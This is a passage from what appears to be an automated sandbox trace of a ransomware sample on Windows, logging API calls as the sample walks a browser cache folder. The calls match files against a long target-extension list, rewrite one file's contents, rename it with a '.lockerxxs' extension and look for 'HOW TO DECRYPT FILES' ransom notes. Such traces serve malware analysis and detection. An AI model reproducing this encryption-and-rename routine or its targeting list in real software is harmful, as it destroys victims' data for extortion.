(pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.dat") returned 0 [0084.728] lstrlenA (lpString="*.dat") returned 5 [0084.728] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", pszSpec="*.txt") returned 1 [0084.728] lstrlenA (lpString="*.txt") returned 5 [0084.728] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" [0084.728] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" [0084.728] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt." [0084.728] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.lockerxxs" [0084.728] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0084.729] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x269b2 [0084.729] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x54e4ae90, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x54e4ae90, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x54e4ae90, dwHighDateTime=0x1d2dd9e)) returned 1 [0084.729] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.730] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2698c, lpOverlapped=0x0) returned 1 [0084.739] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt") returned="css[1].txt" [0084.741] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0084.741] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2698c, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2698c, lpOverlapped=0x0) returned 1 [0084.742] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0084.742] CloseHandle (hObject=0xa4) returned 1 [0084.742] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\css[1].txt.lockerxxs")) returned 1 [0084.744] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x4f090c50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x4f090c50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x4f090c50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0084.744] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0084.744] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0084.744] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0084.744] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0084.744] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\css[1].txt") returned="css[1].txt" [0084.744] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0084.744] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0084.744] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0084.744] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0084.744] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini" [0084.744] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.ems") returned 0 [0084.744] lstrlenA (lpString="*.ems") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.db") returned 0 [0084.745] lstrlenA (lpString="*.db") returned 4 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.dbf") returned 0 [0084.745] lstrlenA (lpString="*.dbf") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.myox") returned 0 [0084.745] lstrlenA (lpString="*.myox") returned 6 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.myo") returned 0 [0084.745] lstrlenA (lpString="*.myo") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbw") returned 0 [0084.745] lstrlenA (lpString="*.qbw") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbb") returned 0 [0084.745] lstrlenA (lpString="*.qbb") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbm") returned 0 [0084.745] lstrlenA (lpString="*.qbm") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbo") returned 0 [0084.745] lstrlenA (lpString="*.qbo") returned 5 [0084.745] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbx") returned 0 [0084.745] lstrlenA (lpString="*.qbx") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qba") returned 0 [0084.746] lstrlenA (lpString="*.qba") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qby") returned 0 [0084.746] lstrlenA (lpString="*.qby") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qbj") returned 0 [0084.746] lstrlenA (lpString="*.qbj") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.ofx") returned 0 [0084.746] lstrlenA (lpString="*.ofx") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.qif") returned 0 [0084.746] lstrlenA (lpString="*.qif") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mye") returned 0 [0084.746] lstrlenA (lpString="*.mye") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mbox") returned 0 [0084.746] lstrlenA (lpString="*.mbox") returned 6 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.eml") returned 0 [0084.746] lstrlenA (lpString="*.eml") returned 5 [0084.746] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.pst") returned 0 [0084.746] lstrlenA (lpString="*.pst") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.ost") returned 0 [0084.747] lstrlenA (lpString="*.ost") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.idx") returned 0 [0084.747] lstrlenA (lpString="*.idx") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.dbx") returned 0 [0084.747] lstrlenA (lpString="*.dbx") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.sql") returned 0 [0084.747] lstrlenA (lpString="*.sql") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mdb") returned 0 [0084.747] lstrlenA (lpString="*.mdb") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.fdb") returned 0 [0084.747] lstrlenA (lpString="*.fdb") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.wab") returned 0 [0084.747] lstrlenA (lpString="*.wab") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.dat") returned 0 [0084.747] lstrlenA (lpString="*.dat") returned 5 [0084.747] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.txt") returned 0 [0084.747] lstrlenA (lpString="*.txt") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.jpeg") returned 0 [0084.748] lstrlenA (lpString="*.jpeg") returned 6 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.jpg") returned 0 [0084.748] lstrlenA (lpString="*.jpg") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.png") returned 0 [0084.748] lstrlenA (lpString="*.png") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.php") returned 0 [0084.748] lstrlenA (lpString="*.php") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.cs") returned 0 [0084.748] lstrlenA (lpString="*.cs") returned 4 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.cpp") returned 0 [0084.748] lstrlenA (lpString="*.cpp") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.rar") returned 0 [0084.748] lstrlenA (lpString="*.rar") returned 5 [0084.748] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.zip") returned 0 [0084.748] lstrlenA (lpString="*.zip") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.html") returned 0 [0084.749] lstrlenA (lpString="*.html") returned 6 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.htm") returned 0 [0084.749] lstrlenA (lpString="*.htm") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.xlsx") returned 0 [0084.749] lstrlenA (lpString="*.xlsx") returned 6 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.xls") returned 0 [0084.749] lstrlenA (lpString="*.xls") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mp4") returned 0 [0084.749] lstrlenA (lpString="*.mp4") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.ppt") returned 0 [0084.749] lstrlenA (lpString="*.ppt") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.pptx") returned 0 [0084.749] lstrlenA (lpString="*.pptx") returned 6 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.doc") returned 0 [0084.749] lstrlenA (lpString="*.doc") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.dot") returned 0 [0084.749] lstrlenA (lpString="*.dot") returned 5 [0084.749] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.docx") returned 0 [0084.749] lstrlenA (lpString="*.docx") returned 6 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.7z") returned 0 [0084.750] lstrlenA (lpString="*.7z") returned 4 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.tar") returned 0 [0084.750] lstrlenA (lpString="*.tar") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.bz2") returned 0 [0084.750] lstrlenA (lpString="*.bz2") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.gz") returned 0 [0084.750] lstrlenA (lpString="*.gz") returned 4 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.mkv") returned 0 [0084.750] lstrlenA (lpString="*.mkv") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.eml") returned 0 [0084.750] lstrlenA (lpString="*.eml") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.msg") returned 0 [0084.750] lstrlenA (lpString="*.msg") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.edb") returned 0 [0084.750] lstrlenA (lpString="*.edb") returned 5 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.accdb") returned 0 [0084.750] lstrlenA (lpString="*.accdb") returned 7 [0084.750] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.odb") returned 0 [0084.751] lstrlenA (lpString="*.odb") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.java") returned 0 [0084.751] lstrlenA (lpString="*.java") returned 6 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.asm") returned 0 [0084.751] lstrlenA (lpString="*.asm") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.pfx") returned 0 [0084.751] lstrlenA (lpString="*.pfx") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.pem") returned 0 [0084.751] lstrlenA (lpString="*.pem") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.p12") returned 0 [0084.751] lstrlenA (lpString="*.p12") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.gpg") returned 0 [0084.751] lstrlenA (lpString="*.gpg") returned 5 [0084.751] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\desktop.ini", pszSpec="*.vsd") returned 0 [0084.751] lstrlenA (lpString="*.vsd") returned 5 [0084.751] PathMatchSpecA 